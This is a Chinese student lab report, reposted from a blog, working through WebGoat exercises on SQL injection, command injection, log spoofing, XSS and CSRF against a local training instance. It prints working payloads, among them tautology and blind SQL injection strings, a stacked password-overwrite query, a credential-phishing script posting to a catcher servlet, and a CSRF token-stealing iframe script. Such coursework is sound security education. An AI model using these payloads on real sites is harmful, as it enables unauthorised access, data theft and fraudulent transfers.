2018-2019-2 网络对抗技术 20165230 Exp9 :Web安全基础
目錄
- 實驗目的
- 實驗內容
- Webgoat前期準備
- 出現的問題
- (一)SQL注入攻擊
- 命令注入:Command Injection
- 數字型注入:Numeric SQL Injection
- 日志欺騙:Log Spoofing
- 字符串注入:String SQL Injection
- 實驗室stage1:String SQL Injection
- 實驗室stage3:Numeric SQL Injection
- 數據庫后門:Database Backdoors
- 數字型盲注入:Blind Numeric SQL Injection
- 字符串盲注入:Blind String SQL Injection
- (二)XSS攻擊
- 網絡釣魚XSS:Phishing with XSS
- 存儲型XSS攻擊:Stored XSS Attacks
- 反射型XSS攻擊:Reflected XSS Attacks
- (三)CSRF攻擊
- 跨站腳本攻擊:Cross Site Request Forgery
- XSS提升:CSRF Prompt By-Pass
- CSRF令牌攻擊:CSRF Token By-Pass
- 實驗問題回答
- 實驗總結
實驗目的
理解常用網絡攻擊技術的基本原理。
- 教程1
- 教程2
- 教程3
實驗內容
- SQL注入攻擊
- XSS攻擊
- CSRF攻擊
Webgoat前期準備
- 從GitHub上下載jar包
拷貝到本地,并使用命令java -jar webgoat-container-7.0.1-war-exec.jar運行Webgoat,出現INFO: Starting ProtocolHandler ["http-bio-8080"]則開啟成功,可以看到占用8080端口,實驗過程中不能關閉終端
- 打開瀏覽器輸入127.0.0.1:8080/WebGoat,使用默認名和密碼登錄
- 在Webgoat中,solution是答案,hints是提示。打開界面,可以看到有一連串的課程。
每完成一項課程就會有一個小對勾
出現的問題
打開webgoat時左側未出現課程
解決方法:重新下載javaversion,具體參考這個鏈接
(一)SQL注入攻擊
選擇Injection Flaws開始實踐
命令注入:Command Injection
命令注入攻擊是對任何參數驅動的站點的嚴重威脅。
- 查看hints:使用系統命令獲取文件的內容
- 也就是說這個操作是要向操作系統注入命令
- 以ps -ef為例,獲取進程信息
我們在頁面的源代碼中加入我們的命令:在源代碼中找到"Backdoors.help",在其后加上"& ps -ef
保存后下拉框中可以看到我們剛剛修改的選項,點擊view,可以看到進程信息
數字型注入:Numeric SQL Injection
- 能看到給出的界面中顯示了一條SQL語句SELECT * FROM weather_data WHERE station = ?,使用數字型SQL注入,可以在網頁源代碼中的選項后面加上or 1=1,這樣就可以獲得所有地區的天氣信息了。
- 還可用purpsutie抓包修改參數。
- 打開purpsuite,點擊Proxy->Options->Add添加一個監聽端口,添加成功后運行
- 點擊瀏覽器中的preferences->Advanced->Network->Connection->settings->Manual proxy configuration:設置成剛剛綁定的端口號。
- 接著在之前的課程頁面上點擊GO,在purpsuite->Proxy->Intercept可以看到捕獲的包
右鍵選擇send to repeater,點擊Repeater->Params可看到station的值為101,修改為“101 or 1=1”,點擊GO
再點擊Intercept is on,這時可看到顯示所有地區天氣信息
日志欺騙:Log Spoofing
- 顧名思義,就是添加假的日志信息來迷惑操作系統,目的是讓用戶名“admin”成功登錄。
- 在User Name輸入zyl%0d%0aLogin Succeeded for username: admin,%0d是空格,%0a是換行
- 點擊登錄出現兩行,一行提示zyl登錄失敗,另一行提示admin登錄成功,這些信息就會被保存到日志里了。
字符串注入:String SQL Injection
下面的表格允許用戶查看他們的信用卡號碼。嘗試注入一個SQL字符串,導致顯示所有信用卡號。嘗試用戶名“史密斯”。
- 和數字型一樣,我們的目的是構建一個永真式,由于字符串在數據庫中是由'構成的,我們在last name中輸入Smith' OR '1'='1所有的用戶信息被輸出
實驗室stage1:String SQL Injection
- 選擇inspect Element審查網頁元素對源代碼進行修改,將password密碼框的最大長度限制改為20
- 目的是在不知道密碼的情況下登錄賬戶Neville
- 在密碼框中輸入Smith' or 1=1 --,攻擊成功可得到所有人員列表
實驗室stage3:Numeric SQL Injection
- 目的是用員工的賬戶登錄,瀏覽boss的賬戶
- 首先用Larry的賬號登錄,使用' or 1=1 --作為密碼
- 點擊ViewProfile可以查看用戶信息,那么我們要做的,就是點擊這個按鈕后跳轉到boss的信息。
- 查看網頁源代碼,可以看到索引的依據是員工ID,可是我們不知道老板的ID怎么辦?數據庫中可以使用排序來篩選信息,而老板一般工資都是最高的,將id的value改成101 or 1=1 order by salary desc --,點擊ViewProfile
- 得到老板的賬戶信息,攻擊成功
數據庫后門:Database Backdoors
- 根據提示,輸入id為101
我們可以看到插入查詢語句的字符串沒有經過任何處理,可以輸入多條語句進行增、刪、改、查
輸入注入語句101; update employee set Password=5230執行,可以看見密碼框變為了設置的密碼
數字型盲注入:Blind Numeric SQL Injection
- 目的是知道pin在pins 表里的值,先嘗試101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );看pin的值是否大于100,顯示數是合法的;再用500、1000、5000嘗試,發現pin應該是小于5000的
- 不斷用二分法進行測試,發現pin為2364
字符串盲注入:Blind String SQL Injection
- 目的依舊是要知道pin的值,最大的不同是要查詢的字段是一個字符串而不是數值
- 輸入101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );顯示出錯,判斷其是否比字 母“H”小
- 把1換成2101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );,- - 經過多次測試和頁面的返回數據,判斷出第一個字符為“J”結果為Jill
(二)XSS攻擊
選擇Cross-Site Scripting (XSS)開始實踐
網絡釣魚XSS:Phishing with XSS
使用XSS和HTML插入,您的目標是:
將html插入該請求憑據,添加javascript以實際收集憑據,將憑據發送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要通過本課程,憑證必須發布到捕獲者servlet。
根據要求,我們編寫代碼,設計一個簡單的登錄界面獲取用戶名和密碼并發送到指定地方
<script> function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>點擊搜索,看到下面有個登錄界面,登錄提示
存儲型XSS攻擊:Stored XSS Attacks
- 這種攻擊常見于論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數據庫中。因為是留言,所以任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行
- 根據題目要求,在留言板中輸入<script>alert("You've been attacked!!!");</script>
- 點擊剛剛創建的帖子,彈出窗口
反射型XSS攻擊:Reflected XSS Attacks
發出請求時,XSS代碼出現在URL中,作為輸入提交到服務器端,服務器端解析后響應,XSS隨響應內容一起返回給瀏覽器,最后瀏覽器解析執行XSS代碼
- 就像上一個實驗直接在輸入框中輸入代碼一樣,反射型XSS是不持久的,在提交到后臺的過程中輸入的JavaScript腳本就會被執行
- 同樣輸入彈窗代碼<script>alert("20165230 attack!!!");</script>,點擊purse的同時頁面就給出了反饋
(三)CSRF攻擊
跨站腳本攻擊:Cross Site Request Forgery
您的目標是向新聞組發送電子郵件。 該電子郵件包含一個圖像,其URL指向惡意請求。 在本課中,URL應該指向“攻擊”servlet,其中包含課程的“屏幕”和“菜單”參數,以及具有任意數值的額外參數“transferFunds”(如5000)。您可以通過查找“屏幕”來構建鏈接 “和”菜單“值在右側的參數插入。 當時通過身份認證的CSRF電子郵件的接收者將轉移資金。
- 也就是說,要發送一個有惡意圖片的電子郵件,目的是要轉走用戶的錢。
- 在消息框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />,成功看到左邊多了一個小綠√
XSS提升:CSRF Prompt By-Pass
- 和上一個實驗差不多,多了一個確認轉賬的任務
- 輸入代碼
<img src="attack?Screen=279&menu=900&transferFunds=5000"> <img src="attack?Screen=279&menu=900&transferFunds=confirm" > - 查看消息,看到轉賬消息:
CSRF令牌攻擊:CSRF Token By-Pass
類似于CSRF課程,您的目標是向包含惡意請求轉移資金的新聞組發送電子郵件。 要成功完成,您需要獲取有效的請求令牌。 提供轉賬資金表單的頁面包含一個有效的請求令牌。 轉移資金頁面的URL是本課程的“屏幕”和“菜單”查詢參數以及額外的參數“transferFunds = main”的“攻擊”servlet。 加載此頁面,讀取令牌,并在偽造的請求中附加令牌以傳輸數據。 當您認為攻擊成功時,刷新頁面,您將在左側菜單中找到綠色檢查。
- 在前面實驗的基礎上,使用令牌傳輸數據
- 輸入代碼
<script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" ></iframe> <iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe> - 按之前的步驟操作
實驗問題回答
- SQL注入攻擊原理,如何防御
- 程序對用戶輸入數據的合法性沒有判斷就直接插入查詢語句,攻擊者就可以添加額外的SQL語句或使用注釋字符得到額外的信息
- 對輸入的字符串進行處理,篩除特殊字符
- 普通用戶與系統管理員用戶的權限要有嚴格的區分
- 程序對用戶輸入數據的合法性沒有判斷就直接插入查詢語句,攻擊者就可以添加額外的SQL語句或使用注釋字符得到額外的信息
- XSS攻擊的原理,如何防御
- 用戶在輸入框輸入JavaScript代碼,提交的時候直接執行,有辦法獲得網站的cookie
- 表單提交的時候進行特殊字符的檢測
- 對輸入框做長度限制
- 在后臺對數據進行過濾
- 用戶在輸入框輸入JavaScript代碼,提交的時候直接執行,有辦法獲得網站的cookie
- CSRF攻擊原理,如何防御
- CSRF是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來獲得其cookie等信息。一般存在XSS漏洞的網站,也極有可能存在CSRF漏洞。
- 使用token:每一個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,如果token不對,就判定位CSRF攻擊。
- 將提交方法改為post
- 定期清理cookie
- 使用隨機數對表單中的值進行驗證
- CSRF是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來獲得其cookie等信息。一般存在XSS漏洞的網站,也極有可能存在CSRF漏洞。
實驗總結
這是最后一個實驗了,做完特別有成就感。這次實驗通過使用webgoat做了一系列的sql,CSRF和xss攻擊,使我對這幾種攻擊方式有了更清楚的區分和理解,也通過實例讓我們在平時生活中能更注意一下容易被攻擊的細節,讓我對我們這些菜雞編出來的代碼極度的否定態度,沒有找不出來的漏洞,所以在信息安全這條道路上好好的體會琢磨吧,道阻且艱!
轉載于:https://www.cnblogs.com/tiankunye/p/10922058.html
總結
以上是生活随笔為你收集整理的2018-2019-2 网络对抗技术 20165230 Exp9 :Web安全基础的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 线性表的顺序存储——顺序存储结构的抽象实
- 下一篇: 一图学Python